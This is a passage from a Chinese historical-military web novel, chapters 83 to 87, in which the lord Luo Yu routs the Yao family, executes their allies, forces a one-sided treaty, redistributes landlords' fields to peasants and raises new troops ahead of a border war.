隔着老远蒙虎就看见姚昌跑了,急得直跳脚:
“老余,你**箭呢!”
“急什么,这不就来了吗!”
余寒弓慢条斯理地抽出两支箭矢,搭箭上弦,缓缓拉满弓弦。
“嗖!”
两箭齐发,划破天际。
“嗤嗤!”
两箭齐至,正中战马。
一声凄厉的嘶鸣响起,战马应声而倒,两人同时被掀飞老远,摔了个狗吃屎。
“漂亮!”
蒙虎竖起了大拇指:
“好箭!”
余寒弓悠哉悠哉地收起弯弓,撇撇嘴:
“要不是老大交代留个活口,岂会容你们两活到现在?”
第83章大获全胜
许家庄,打谷场
日初清晨,阳光倾洒大地。
苍岐城战斗开始的同时,这里已经打完了。
横七竖八的死尸染红了本该晒谷子的地方,随着姚家百户被董川一刀劈死,场中只剩苍岐军持刀而立,一道道冰寒的目光扫视全场。
一百身披甲胄、训练有素的悍卒对付乌合之众那还不是手到擒来?再加上三三制在近战中有巨大优势,董川一方大获全胜,几乎没什么伤亡。
重伤倒地的家丁恶奴在哀嚎,疼得满地打滚,今天他们才见识到什么叫真正的精锐边军。
其实在战斗开始的时候就有许家庄的村民壮着胆子远远观望,当他们看到区区一百人就将三百人打得落花流水的时候无比震惊。
他们从未见过如此厉害的军卒,这就是在云阳关杀了完颜昌的精锐边军吗?
探头探脑的人群中也有许韦,就是那日与洛羽有过争执的农家汉子,他的眼眸中似乎有光芒在闪烁。
当然,他们心中更多的是解气、是痛快!就是这些恶奴家丁害得他们穷困潦倒,甚至打死过他们的家人!人人心中都盼着他们死,没想到真能见到这一幕。
“呸!”
董川擦拭着弯刀,一步步走进那几位地主老爷,甲胄上满是姚家兵卒的血。
许南那几人早就吓傻了,董川每靠近一步就像是死神逼近了几分,身形如筛糠般抖了起来。
想跑,但双腿根本就不听使唤。
董川侧着脸,将耳朵贴到许南面前:
“你刚刚说什么?明年的今天就是我们的祭日?”
“扑通。”
恐惧击垮了许南这群地主,跪在地上拼命磕头,涕泪横流:
“饶命,饶命啊军爷,是姚家蛊惑我们的,说只要将你们骗到许家庄来就行,剩下的事他们去处理。我们从未想过与洛城主为敌。
求求您放我们一马。”
“现在后悔?晚了!”
董川狞笑一声:
“全都抓了,听候城主发落!”
……
姚昌与杜刚两人瑟瑟发抖地跪在地上,不远处就是姚家军卒的尸体,浓郁的血腥味令人作呕。
八百姚家军卒,侥幸逃脱的不超过五十人,剩下的要么**要么成了苍岐城的俘虏,也就是说姚家辛辛苦苦积攒的家底一战就被打掉了一半。姚昌直到现在都觉得自己在做梦,为何区区三百人就能将自己的八百人打得落花流水。
不远处洛羽负手而立,脸色惨白的江殊轻声道:
“洛城主打算如何处理这两个人?”
幸好射中江殊的那一箭并不致命,箭头已经从肩膀处取出,不然现在江殊就得人鬼殊途了。
“你觉得呢?”
“我的建议是,别杀。”
江殊犹豫片刻道:“洛城主麾下兵马确实骁勇善战,但姚林毕竟在凤川城扎根了这么久,手下还有近千军卒,互相攻伐对苍岐城的发展不利。
倒不如用这两个人与姚林谈条件,以谋求苍岐城发展壮大。”
洛羽目光微凝:
“知道了,放心吧,我自有分寸。”
洛羽走到了两人身前,姚昌的脸上有两个鲜红的巴掌印,这是蒙虎刚刚扇的,门牙都扇飞了一颗。
“说说吧,你们是怎么想的。”
洛羽的脸上并没有怒气,反而带着一抹玩味:
“听雨楼的酒低价出售给鼎香居,已经让你们占了大便宜,这些日子鼎香居的生意也好了不少,为何还要发兵攻打苍岐?”
“错了,我们错了。”
杜刚连连求饶:
“洛城主,此事是我们不好,是我们利欲熏心得罪了您,求您大**量饶小的一命。您想要什么?银子?我有很多钱,统统可以给您,只要您放我一马。”
比起胆小如鼠的杜刚,姚昌咽了口唾沫,硬着头皮说道:
“洛城主,您可想清楚,杀了我们,你可就与姚家结下死仇了。姚家扎根凤川城多年,底蕴可不是苍岐城能比的。”
“杀了你们又能如何?”
洛羽冷笑道:“姚林带着仅剩的八百军卒杀过来?你猜猜,谁能赢?”
姚昌哑口无言,经历过刚刚那一战他就明白了,单靠姚家的兵力绝无可能击败苍岐,能打个平手已经是十分侥幸。
“我只问一个问题。”
洛羽缓缓竖起一根手指:“刺杀江掌柜,是谁的主意?”
两人尽皆沉默,但姚昌下意识地看了杜刚一眼。
洛羽心领神会,走到杜刚面前居高临下地看着他:
“当初
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是江掌柜找我,不想与鼎香居结怨太深,力劝我带着你们一起做酒水生意,江掌柜可以说仁至义尽了。现如今你杜掌柜却派人截杀,意图灭口。
是不是有些恩将仇报了?”
“是我卑鄙无耻下流。”
杜刚拼了命地磕头:
“求洛城主、求江掌柜放小的一马。你们不就是要银子吗?我给你们,鼎香居的银子都归你们。
以后凤川城就没有鼎香居了,听雨楼就是凤川最大的酒楼。
我……”
“噗嗤!”
洛羽手掌一翻,破晓的刀刃狠狠**了杜刚的咽喉,鲜血溅了姚昌一脸。
江殊惊呆了,不是说好不杀的吗?
“你以为我要的是银子?”
洛羽讥讽道:
“银子没了可以再挣,可江掌柜的命若是没了,你拿什么赔!”
站在背后的江殊瞳孔一缩,听话里话外的意思是替自己讨个公道。
尸体缓缓瘫倒在地,在凤川城当了十几年富贵老爷的杜刚成了一具死尸,被溅了一脸血的姚昌浑身发抖,痛哭流涕,拼了命地磕头:
“洛城主饶命啊,求求你放过我,姚家再也不会与您为敌了,求您了!”
杜刚的死让他彻底明白,洛羽绝不是一个心慈手软的人。
“是吗?”
洛羽微微一笑:
“我记得上次你对我的人说,在凤川城的一亩三分地上,是你们姚家说了算,可现在是在苍岐。”
“蒙虎!”
“在!”
“交给你了!”
“诺!”
蒙虎狞笑着抽出了弯刀,稳稳将姚昌踩在身下,刀锋高高举起:
“小子,下辈子遇到你虎爷,记得绕着走!”
“不要,不要杀我!”
死亡的恐惧让姚昌大小便失禁,可蒙虎依旧狠狠挥下了弯刀:
“死吧!”
“不要啊!”
“当!”
就在姚昌自以为必死的时候,刀锋稳稳砍在了脑袋边缘,距离他的咽喉只有半寸之遥,再进一步就是血溅当场!
姚昌大口大口地喘着粗气,不敢动弹半分,他不明白蒙虎为何没杀了他。
“原来你也怕死啊。”
洛羽冷笑一声:
“押着他,我们去凤川!”
第84章不平等条约
“输了?怎么可能会输!”
“整整八百人啊!”
姚林呆若木鸡地坐在椅子上,从苍岐连夜逃回来的溃兵带回了战败的消息:
八百兵丁全军覆没,姚昌、杜刚生死不明。
本以为会是一场酣畅淋漓的大胜,酿酒秘方到手、苍岐纳入自己麾下,没曾想却狠狠跌了个跟头。
姚林第一次重视起这个年轻人,甚至有一丝的惧怕,这些边军到底强到何种地步才能凭三百人击溃八百军卒?
这可是凤川城半数的家底,姚昌是族弟,杜刚是钱袋子,两人堪称姚林的左膀右臂,一下子全没了。
“大,大人!不好了!”
府中一名亲卫连滚带爬地冲了进来:
“苍岐的骑兵冲进城了,正朝着城主府过来!”
“什么!”
姚林的瞳孔一缩:“门口的军卒是干什么吃的,为何不拦住!”
“根本就拦不住。”亲卫哭丧着脸道:“他们还绑着姚将军,没人敢动手啊。”
“坏事了。快,快去调集兵马来城主府!”
姚林慌了,可还没等亲卫去报信,轰隆的马蹄声就回荡在城主府的上空,街道外一片嘈杂。
骑兵已至!
凤川城突然就热闹了起来,一支骑兵光明正大的冲入城中,耀武扬威地停在了城主府门外。
黑色的精甲、带血的**,一面玄色为底的“洛”字军旗高高飘扬,城内百姓们从未见过这样的骑军,森然的杀气笼罩全城。
姚家兵正从四面八方涌来,可谁也不敢去冲撞这支骑兵,溃兵带回来的消息早就吓到了他们,两拨人马当街对峙。
洛羽施施然走进府中,小伍拎着血淋淋的包袱、蒙虎提溜着一身尿骚味的姚昌,吕青云与余寒弓一人**一人握弓守在府门口,颇有一夫当关万夫莫开的气势。
府中仅有的百余亲卫全都护在姚林左右,洛羽走进来的那一刻所有人都不自觉地往后退了一步。
小伍搬了把椅子,洛羽大马横刀地坐下:
“姚城主,好久不见。”
虽然心中慌乱,但姚林总归得保持城主的气势,沉着脸道:
“这里是凤川城,洛城主就这么光明正大地带兵冲进来未免也太不把我姚林放在眼里了吧?”
“呵呵,我这不是来找姚城主要个说法吗。”
洛羽嘴角上扬:
“我想问问,姚城主为何背弃约定,发兵攻打苍岐?”
“因为苍岐私通羌贼!本城主为了保一方百姓,只能如此!”
“这种蠢话在我面前就不要说了!”
“砰!”
小伍甩出包袱,鲜血淋漓的人头滚落在地,所有人都瞳孔一缩。
杜刚!
“洛羽,你欺人太甚!”
姚林再也压不住心中的怒火了,拍案而起:
“信不信你今日走不出凤川城!”
“是吗?”
洛羽讥笑一声:
“如果你真有这个本事,我还会出现在这吗?”
“蹭蹭蹭!”
府门外的一百精骑同时拔刀,寒光闪闪,面对数倍于己的姚家兵丝毫不惧,甚至全都带着一种挑衅的目光。
姚家兵鸦雀无声,无一人敢上前一步。
姚林的心怦怦直跳,真打起来洛羽能不能出凤川**,但自己估计走不出城主府。
“你,你到底想干什么?”
姚林咬着牙说道:
“我们可以没必要你死我活吧?”
语气中终于多出了一丝服软的味道。
洛羽这才轻声道:
“很好,那我们就不动刀,好好谈谈。
我杀杜刚就是为了告诉整个凤川城,听雨楼是我苍岐罩着的,从掌柜到伙计,一个人都不能动!
我留了姚昌一条命是给姚家面子,这就是我的诚意。
今日我来就是跟你谈条件的。”
“说吧,你想怎么谈。”
姚林心中松了口气,别打起来就行。
“从今天起,你我两家止息兵戈,和平共处。”
洛羽竖起一根手指:
“听雨楼会继续在凤川城做生意,姚家不得有任何**、压制之举,江掌柜少一根汗**,我一定会找你算账!
从凤川城到苍岐一共八十里,咱们就以中间的乱石岭为界,一半归你、一半归我,从今以后那些地方的田赋就由苍岐来收了。
至于鼎香居则归你,你如果愿意可以接着按照以前的约定从听雨楼买酒。
如何?”
姚林差点气得一口老血喷出来,杀了自己那么多人就算了,还要分走那么多属地,自己啥都没有。
鼎香居?鼎香居本来就有一半是自己的!
不平等条约,妥妥的不平等条约!
可下一刻他就看到了大小便失禁、惨无人色的姚昌,难以想象他到底经历了什么才会被吓成这个样子。
姚林终于反应过来,凤川城虽然大,但他真不一定是洛羽的对手,这个世道永远是拳头大的说了算。
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“你可以拒绝我的条件。”
洛羽缓缓起身,目光冰冷:
“不服,我们就再打一场,看谁能活到最后!”
黑茫茫的精甲、亮闪闪的苍刀,姚林最终像泄了气的皮球,吐出一句:
“依你。”
……
马车晃晃悠悠地穿过街巷朝听雨楼驶去。
苍岐的骑兵已经撤往城外,洛羽亲自送江殊回家。
“这次多谢洛城主了。”
江殊拱手行礼:
“你不去姚家**,只怕我今天就得收拾细软离开凤川城逃难。”
“是我该谢你才对,没有你拼死送信,苍岐城还不知道会陷入何等局面。”
虽说苍岐城的战力稳胜一筹,但有准备与没准备完全是两个概念,洛羽看着面色虚弱的江殊:
“从今以后三锅头只卖给听雨楼,至于你卖给谁我不会过问,你自己做主便好。
你也不用再叫我洛城主,称呼一声洛兄即可。”
江殊也不扭捏,笑道:
“那就多谢洛兄抬举。
姚林被吓破了胆,怕是不敢再对听雨楼动歪心思,以后我总算可以安安心心做生意了。”
“话是这么说,但你还得多加几分小心。”
洛羽瞄了一眼车水马龙的街道:
“凤川城是个好地方,其实我甚至有一种冲动,直接杀了姚林,将凤川城据为己有。”
“但洛兄并没有这么做,因为你有顾虑。”
江殊缓缓道来:
“苍岐城刚刚建好,诸事繁杂、百废待兴,再吞下一个凤川,你担心一口气吃不成大胖子反而把自己撑死。
再有,姚家毕竟年年给阙州李家上供,杀了姚林简单,可万一李家怪罪下来,以现在的苍岐怕是无法应付。”
“哈哈,江兄比我想象中要聪明得多啊。”
两人会心一笑,从这一刻开始,他们不再是买家卖家的关系,更多了一层朋友间的友谊。
“对了,我有个问题。”
洛羽突然话锋一转:
“姚家的纸面实力比我要强大得多,你为何要冒死给我送消息?一旦我输了,听雨楼可就得消失在凤川城。”
“呵呵,我这不是指望着靠卖酒挣钱吗?”
江殊双手一摊:
“苍岐没了,三锅头就没了,以后听雨楼还怎么挣钱?”
“你是聪明人,绝不会为了赚点银子就搭上自己身家性命。”
洛羽直视着江殊的眼眸:
“你在撒谎。”
第85章打土豪,分田地!
四目相对,一片寂静。
江殊沉默许久之后掀开车帘,目光扫过车外街巷:
“洛兄你看,外面有衣着华丽的达官显贵、有为生活奔走的平民百姓,但也有流民、乞丐,而且很多。
凤川城已经是阙州的繁华大城,尚且如此,那城外呢?整个阙州乃至整个陇西呢?只怕有更多衣不蔽体、饥肠辘辘的难民百姓。
我爹以前也是难民,差点饿死街头,是靠别人施舍了一碗粥才活了下来,扎根凤川城,从一个小小伙计做起,辛苦一辈子才拼下这么一份家业。
他从小就跟我说,陇西人命苦,生在这么个鸟不拉屎的地方,内有世家大族欺压百姓、外有羌兵连年入侵,一年又一年、一代又一代,多少陇西人死于荒野。
可我们生是陇西人,死也是陇西鬼,不能离开生我养我的地方。我们能做的就是尽力去帮一帮自己的同胞。
银子挣多少才算够?一万两,十万两?
永远都不够。
所以听雨楼经常会设立粥棚、赈济灾民,花点银子对我来说微不足道,可对灾民来说就是救命的一碗粥。”
洛羽默然,他是陇西人,如何不知陇西苦?
他知道听雨楼有时候会赈济灾民,这也是当初选择找江殊合作的原因之一,起码江殊有良心。
但他不明白这和江殊舍命报信有什么关系。
“可赈济灾民救得了他们一时,救不了他们一世啊。”
江殊喃喃道:
“陇西需要一个英雄,外退羌敌、内安百姓,陇西需要一个希望!
而洛兄你在我眼里就是陇西的希望!”
“我?”
洛羽目瞪口呆。
“对,就是你!起码在我眼里,你是!”
江殊的语调逐渐拔高:
“你杀完颜昌、守云阳关,让陇西少死很多人。苍岐,苍生的苍!
我舍出一条命,为陇西赌一个未来的希望。
值!”
洛羽陷入了长久的沉默,心中竟然对江殊生出了一丝敬佩,一个商人,一个本该唯利是图的商人竟然有此等志向。那自己呢?苍岐城的城主?
难道此生之志就是当一个正五品的将军?
“抱歉,洛兄。”江殊好像意识到自己有点失态,苦笑一声:“就当是我一厢情愿吧。”
“你说得对。”
洛羽缓缓抬头,目光怅然:
“或许我们每个人都该做点什么。”
二人不语。
“掌柜的,你看,小乞丐!”
马车刚在听雨楼的门口停稳,车夫的声音就响了起来,江殊匆匆忙忙地下了马车,蓬头垢面的小乞丐早就等在了这里。
洛羽认识他,这不是江殊此前一直给碎银子的乞丐吗?
一个可怜人。
看到江殊的那一刻小乞丐明显松了口气,默默地说道:
“城里有谣言,说鼎香居要害你,没事就好。”
伙计凑在耳边:
“您不在的这几天他一直守在听雨楼,一刻也未曾离开。”
洛羽越发好奇,江殊与这个小乞丐之间似乎有一层特殊的关系。
“抱歉,事发突然没来得及跟你说一声,银子是不是花完了?”
江殊手忙脚乱地摸索起来,却发现翻遍全身也没有一个铜板,刚想着叫伙计取钱,洛羽递出了一块碎银子:
“给。”
小乞丐犹豫了,江殊赶忙介绍:
“这位是苍岐洛城主,收了吧。”
小乞丐这才收下银子,微微躬身:
“谢了。”
“不客气。”
望着远去的小乞丐,洛羽心中的好奇越发浓郁,这家伙到底是什么人?
……
许家庄,打谷场
几天前激战的痕迹早已被清理干净,但空气中总让人觉得弥漫着血腥味。
从一早开始就有百姓出现在打谷场,人数越来越多,不止有许家庄的村民,还有苍岐城下属其他村落的百姓。
短短一个时辰四周就挤满了人,何止千计。
打谷场中搭起一座高台,上面绑着八个人。就是那八位联合姚家在背后给洛羽捅刀子的地主老爷。
百姓们很惊讶,很多人从出生开始就在给他们种地、当牛做马,忙碌半辈子勉强饿不死,在他们眼里地主老爷就是天王老子,没想到他们也会沦落到这一步。
一位身披甲胄的年轻人缓缓登上高台,朗喝声回荡全场:
“父老乡亲们,我叫洛羽,苍岐城主!想必你们都听说过我!”
叽叽喳喳的人群迅速安静下来,各种惊讶的目光投向洛羽。远的云阳关一战不提,光是最近和姚家的斗争就让这位洛城主名声大噪,没想到竟然如此年轻。
洛羽走到许南面前,冷声道:
“许南,十六年里不断派家丁打手强占村民土地,勾结土匪谋财害命,兼并私田!”
“王鲁,不仅吞并同村族人土地,甚至还强纳良家女子当小妾,不从者**父母,夺其家产!”
……
整整半个时辰洛羽什么都没干,只是在讲述八人多年来犯下的罪行,条条件件都有人证物证,这都是萧少游派人查出来的。
全场鸦雀无声,许多村民的目光从麻木变成了愤怒,他们就是洛羽口中的受害者!
洛羽指向八位地主老财:
“他们
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占了你们的田地、夺了你们的家产,害得你们穷困潦倒、食不果腹。
你们替他们种地种粮、当牛做马,换来的粮食甚至连家人的温饱都解决不了,他们却腰缠万贯,仓廪充实。
凭什么?”
八位地主爷瑟瑟发抖,百姓眼中的怒火越发旺盛。
没人觉得公平,只是他们无力反抗罢了。
“告诉我,这些人该不该杀!”
没人吱声,因为很多百姓天生畏惧这些地主老爷,他们不敢相信真有人能杀了他们。
他们怕今天当了出头鸟,结果地主老爷没死,日后过来报复,这种本能的恐惧一时半会是无法消除的。
人群中的许韦艰难地举起拳头,嗓音中带着一丝颤抖:
“杀!”
“杀了这些狗贼!”
有人带头便有人响应,一名年轻人红着眼吼道:
“杀了他们,替我爹娘报仇!”
“对,报仇!”
“杀了他们!”
积攒多年的怒火一旦爆发是可怕的,吼声冲天而起,若不是有军卒阻拦,愤怒的百姓能扑上去活撕了地主老财。
八人如筛糠般颤抖,面如死灰。
“说得好!”
洛羽手掌一招,八名悍卒同时举起了手中弯刀。
“杀!”
刀锋下滑,八颗血淋淋的人头滚落在地。
说杀就杀!
血腥的场面没让百姓们感到惧怕,反而有一种发自内心的痛快、解气,甚至有人泣不成声。
洛羽朗声喝道:
“辛辛苦苦种田却填不饱家人的肚子,天下从没有这般道理!
从今天开始,苍岐城要打土豪,分田地!这些地主家中的田地会统一分配,按照人口多少分给各家各户,分到你们每个人的手中。
从今以后那就是你们自家的地,只要我洛羽还活着一天,就没人能从你们手中抢走土地。
你们只需要给我交税,剩下的收成全是你们自己的!”
打土豪,分田地。
短短的六个字像惊雷一般在所有人耳边炸响,不仅是百姓,就连萧少游他们都惊呆了,他们从未见过有人会将土地平白无故地分给寻常百姓。
“我告诉你们一个道理。”
洛羽竖起一根手指:
“你们不是贱民,更不是奴隶,你们和我并无区别,都是有血有肉的人!
从今以后都给我弯下腰肢种地、挺起胸膛做人。
做一个堂堂正正的人!”
“谢洛城主,您是我们的恩人!”
乌泱泱的百姓全都跪伏在地,喜极而泣。
这一日,人头滚滚。
这一日,良田归民!
第86章磨一磨这把剑
“姚林被咱们吓破了胆,这下苍岐的属地又扩大了。”
洛羽指着地图:
“从乱石岭到苍岐城中间还有七八个村落,以后这些地方的田赋都归我们了,我打算在这些地方同步推行打土豪、分田地。
你们意下如何?”
参会的总共就只有三人,萧少游、韩朔、沈漓。
那两位没得说,本就是城中军职最高的人,但沈漓在苍岐的地位同样不低,虽然没有明面上的官职,可整个苍岐的后勤几乎都是她在管理。
小姑娘展现出来的能力连韩朔这种老资历都觉得佩服,各旗兵马的军粮、物资分配得井井有条。
“赞成!”
沈漓最先说道:
“这些天我去各个村子里走了走,分到地之后百姓们都很开心,干劲十足,很多人恨不得睡在田地里不回家。
以往地是财主家的,有人催就快点干,没人催就偷懒,反正挣的是工钱。但现在地是自己的,所有人都玩命干。地里的收成好了,百姓家有余粮,咱们收的田赋也多,何乐而不为?
而且现在老百姓提到你可是赞不绝口,对苍岐也有了归属感!”
沈漓笑脸盈盈,她是真心替老百姓开心,她就是穷苦人出身,很清楚土地对百姓来说有多么重要,可以说穷人的一切都来自于土地。
“那个,有一些话不知该不该讲。”
萧少游支支吾吾,看起来有些为难。
“说吧,都是自己人,有什么不能说的。”
“我承认让老百姓有田地是好事,也能让他们打心底认同苍岐,但你们有没有想过那些富人?并不是每一位地主富人都是无恶不作的坏人,也有很多人是脚踏实地一步步积攒起来的家底,比如江殊就是好人,难道把他也杀了?”
萧少游苦笑道:
“如果我们把每一个地主都拖出来杀头、分地,那会造成一种恐慌,逼得他们站在我们的对立面。
土地、金银、粮食、商贾,几乎所有财富都集中在这些人手里,如果他们都成了敌人,日后苍岐恐怕会举步维艰。
得民心者得天下没有错,但手段过于狠辣只怕会适得其反。”
“你担心的也是我一直思考的问题,一棒子把所有人打死是愚蠢之举。”
洛羽面色凝重:
“所以我考虑的方法是甄别好坏、软硬兼施。
对于心存良知、没有为非作歹的地主我们要加以鼓励、重用、可以靠他们促进商业发展,为百姓谋福利;对于穷凶极恶、恶贯满盈之徒该杀的杀,绝不手软。
至于那些时好时坏的人,咱们可以晓之以情动之以理,先劝他们还田于民,只要愿意改过自新,以前的事咱们可以既往不咎;但冥顽不灵,拒不配合,那咱们就只有让他们明白苍刀有多锋利了。
非常之时当行非常之法,如此乱世,手段不狠是没用的。
总之就一句话,我们要确保耕者有其田,苍岐属地之内绝不能再饿死一个人!”
洛羽的脑海中出现了江殊的那句话:
我们该为老百姓做些什么!
“同意!”
洛羽的想法得到了众人的一致认同,这样做起来相对温和,既能让老百姓拥有土地,又可以避免大范围的恐慌。
“那就这么定了!”
洛羽沉声道:
“少游练兵,韩朔带兵配合沈姑娘打土豪、分田地。记住,我们不能滥杀无辜,但决不放过任何一个奸贼恶徒!”
……
凤川城,鼎香居
自从掌柜的杜刚**之后这里就成了姚林的产业,但随着三锅头的爆火,鼎香居的生意越来越差,现如今凤川第一酒楼的名头已经归了听雨楼。
最奢华的包厢内幽静无声、淡淡的檀香味弥漫在空气中,一袭墨色身影正凭窗而望。
没一会姚林就步履匆匆的推门而入,面朝背影恭敬地弯下腰肢:
“小人姚林,参见君公子。”
君墨竹转过身来轻轻一笑:
“呵呵,姚城主不必如此拘谨,坐吧。”
姚林局促不安的坐下:
“不知君公子大驾光临,有何见教?”
堂堂凤川城主,在君墨竹面前却不敢有丝毫造次。
君墨竹漫不经心地说道:
“几年前我来过一次鼎香居,当时可是门庭若市、高朋满座啊,如今却客人寥寥,毫无生气,何至于落得此等局面?”
姚林脸皮一僵,不知该如何作答。
君墨竹接着说道:
“看来听雨楼的三锅头确实是好酒,连鼎香居都被压得喘不过气。我还听说此酒出自苍岐城洛城主,姚城主和他略有嫌隙,他甚至带兵进入凤川,打了你姚城主的脸?”
姚林始终一言不发,根本摸不清君墨竹的用意,他隐约听闻苍岐城是君墨竹赏
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给洛羽的,君墨竹该不会是来替洛羽撑腰的吧?可自己最近没得罪洛羽啊。
君墨竹眉头微挑:
“姚城主扎根凤川城十几年,根基深厚,现在连个初出茅庐的年轻人都对付不了,传出去岂不是让人笑掉大牙?
本公子今日来给你出个主意,可以替你姚城主出口恶气。”
“额,您要帮我?”
姚林既惊喜又错愕,君墨竹帮自己干什么?
“饮马镇,你该听说过吧?”
君墨竹翘起了二郎腿:“你的人对付不了洛羽,饮马镇的那位应该可以。”
“饮马镇?”姚林面露苦涩:“那位爷可是见钱眼开的主,再加上性格高傲,小人怕是请不动啊。”
“我可以替你牵根线,君家的面子他还是要给的。至于银子,难道姚城主的脸面还不值几千两银子?”
一听到君墨竹愿意帮自己搭线,姚林的目光陡然一亮:
“若真是如此,花多少银子小人都愿意!”
“不错,这才像是凤川城主的气魄嘛。”
姚林犹豫半天,小心翼翼地问道:“敢问您为何要帮我?莫非君公子与洛羽有仇?”
若君墨竹真和洛羽有仇那就太好了,借助君家的威名他还踩不死一个洛羽?
边上的老管家冷冷地说道:
“姚城主,有些话该是你问的吗?”
“小人冒失了,请君公子恕罪!”
姚林一哆嗦,见君墨竹没有答话的意思,赶忙恭恭敬敬地退了出去。
君墨竹起身站在窗边,隐约能看到落座在酒仙坊另一头的听雨楼:
“先是酿出三锅头,又凭借三百人灭了姚林八百人,现在又搞什么打土豪、分田地,此人给我意外还真多啊。
可惜,西羌那边已经准备就绪,十日之内边关必定开战,留给我们的时间不多了,这把剑到底有多锋利,我心中还没个底。”
老管家弯着腰:
“公子,您是想用饮马镇去磨一磨这把剑?”
“是。”
君墨竹平静的说道:“姚林不过是个废物,打败他不算本事。”
“可饮马镇那位不好对付啊,用他来磨剑合适吗?”老管家苦笑一声:
“如果洛羽真被他杀了,公子您岂不是痛失一位大才?”
君墨竹的眼眸中闪过一道寒光:
“如果真是如此,那就说明他不是大才!”
第87章新兵跪满地
大乾历,景丰九年夏,边关战事再起。
西羌兵分两路,同时进攻阙州、定州,君李两家配合朝廷出兵迎战,边关一线烽火连天,各城各县都开始了新一轮的征兵,苍岐城也不例外。
三岐山外,许家庄
一大清早许韦就收拾好了行囊,双亲妻儿早早侯在门外,脸上写满了不舍与担忧。
许韦是个直爽汉子,大咧咧地摆摆手:
“都回了吧,村里从军的又不是我一个人,有什么好担心的,再说了不就是在苍岐嘛,又不远,隔三岔五我就能回来看看你们。”
老许头瞪了儿子一眼:
“净胡说,当了兵哪是你想回家就能回家的?你这一走,不知道何时才能回来。到了军中一定要听话,不能得罪人。”
“夫君,听说前面打得厉害,**很多人,羌贼**不眨眼,凶残得很。”一身粗布衣裳的娘子红着眼:“要不你就别去了,万一,万一……”
“就是因为前面打得厉害咱们才要去从军,不然羌兵蛮子杀进来,家里的地怎么办?你们怎么办?同村兄弟们都约好了,谁不去谁就是孬种,我可不想当孬种。”
许韦弯下腰抱起小儿子哄着:
“儿啊,乖乖在家照顾你娘亲噢,等爹回来你就是大人啦。”
话都说不利索的娃娃浑然不知道发生了什么事,只会腻在爹爹怀里乐呵呵地傻笑。
“行了,回吧!”
许韦觉得眼眶有些湿润,不再逗留,背起行囊走出家门,各家各户陆续有人行出,渐渐形成个小队伍,年纪大的和许韦一样,三十来岁正值壮年,年纪小的还不到二十。
数十号汉子互相打着招呼,肩并肩走出村口,打谷场上却停着一支骑队,他们一眼就看到了苍岐城主,人人都下意识地停住脚步,目露敬畏。
“洛城主,您怎么来了?”
许韦走出人群,毕竟他和洛羽有过一面之缘,还算熟悉。
“来各村看看征兵的情况,你们都要入军?”
洛羽扫了一眼几十号青壮男子,皱眉道:
“你们都走了,家里的地谁种?”
“有爹娘在,还有婆娘也能帮忙,种十几亩地没问题,足够养家糊口了。”
“那就好。”
洛羽打趣道:“我记得以前你说过不愿投军的啊?”
汉子的脸上露出一丝窘迫,尴尬道:
“以前咱们都是贱命一条,去前线给地主老爷卖命不值当,但现在各家都有了自己的地,羌兵杀进来就会抢我们的地、毁我们的家。
都是站着撒尿的汉子,若是连自己的家都护不住还算什么男人?
所以我们要投军,不让羌贼抢我们的田地!”
“对!不管是谁都不能抢咱们的地!”
几十号汉子挥舞着拳头,群情激奋。
“洛城主!”
许韦倒头欲跪:“您把地分给我们,让我们有饭吃有衣穿,恩同再造,咱兄弟们的命以后就是您的!我们跟着你杀羌贼,护苍岐!”
“杀羌贼,护苍岐!”
庄稼汉们很淳朴,谁给他们饭吃,谁就是他们的恩人。
“别,不要跪我!”
洛羽一把拖住许韦的肩膀,往后一指:“该跪他们。”
汉子们茫然回头,却发现村口早已**了数不清的百姓,老人妇孺、爹娘妻儿,个个翘首以望,眼神中满是不舍。
有人送子从军,有人送夫入伍。
此一别,对很多人来说或许就是永别。
“爹,娘,等我们回家!”
“跪!”
清晨的打谷场,新卒跪满地。
……
“握刀的时候手臂绷直,不要像个娘儿们一样有气无力!”
“往前劈刺!”
“一,二,三!”
“杀杀杀!”
“三三制最重要的就是配合,居中之人持刀劈杀的时候一定要狠、要猛,不用去管两翼!把你们的后背和侧翼放心地交给同袍!”
“再来一次!”
“杀杀杀!”
校场中全是赤裸上半身的军汉,人声鼎沸,气势颇为雄壮。
随着打土豪、分田地的举措推行,苍岐下属各村百姓的从军热情大涨,不到一个月的时间便募得新兵八百之众,算上之前的四百老兵,苍岐城的兵力一下子扩充了两倍。
这些天由各位什长、标长负责操练新兵,刀剑、**、骑枪,每一样都要精心操练,有三三制打下的基础,军中以老兵带新兵,可以迅速提高新兵的战斗力。
洛羽望着人头攒动的校场:
“以前我们四百人分为四旗,每旗百人,设百户一名,现在兵力增加了,军制也要跟着变。我决定将原来的四旗兵马扩充成四尉,每尉正好三百人,下设三旗。
全军主将依然是少游,
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韩大哥为副将。”
“我还有一个建议。”
萧少游沉声道:“咱们当初从云阳关带回来一批战马、乱石岭收编了一批、后续又在姚家兵的手中缴获了不少,眼下城中总计战马三百余匹。
我的意思是咱们可以精选三百骑术精湛的士卒,统编为一尉,如此全尉士卒皆为骑兵,放在战场上战力必然大增。”
“你的想法与我不谋而合啊。”
洛羽轻笑道:“但我一直在思考这一尉骑兵该交给谁来带。董川性格沉稳、蒙虎勇猛无敌、吕青云锋芒毕露、余寒弓箭术精湛,每个人都有优点。
但骑兵都尉眼下只能有一个,谁来?”
“我的建议是,蒙虎。”
韩朔望向校场中的壮硕身影:
“他们四人的骑术都差不多,但是论枪法无疑是蒙虎更胜一头。再者,骑兵交战悍勇为先,蒙虎本就胆魄过人,有万夫不当之勇,他带出来的兵个个都继承了他敢打敢拼的风格。
我觉得他最合适。”
“赞同。”萧少游微微点头:“骑兵冲阵就需要他这股悍勇之气。”
“既然你们都认同,那此事就这么定了。”
洛羽当即拍板:“各旗扩编成尉的事情就交给你们了,骑兵所选军卒务必精壮,这算是咱们手里最强的一支兵马了!”
“放心吧,我们心中有数。”
萧少游颇为感慨:
“苍岐城属下十几个村落,总计百姓一千余户,却能募得青壮兵丁八百人,可谓家家户户皆有人入军。
民心如此,足见打土豪分田地深得民心。”
“不是我想逼着这么多百姓入军啊。”
洛羽喃喃道:
“实在是边关战事紧张,光靠四百军卒可无法与羌兵抗衡。我担心有一天羌兵真的会杀进内地,到时候苍岐城没有自保之力,那我们此前的努力全都会付诸东流。”
萧少游和韩朔的表情都凝重了许多,眼下苍岐城独立于阙州、定州之外,不需要服从李家、君家的调兵号令,朝廷也没有下旨抗敌,所以战事看起来与苍岐无关。
可真等羌兵攻入内地,谁又能置身事外?
“城主!”
董川突然疾步走来,脸上带着一丝怒气:
“出事了!”
“怎么了?”
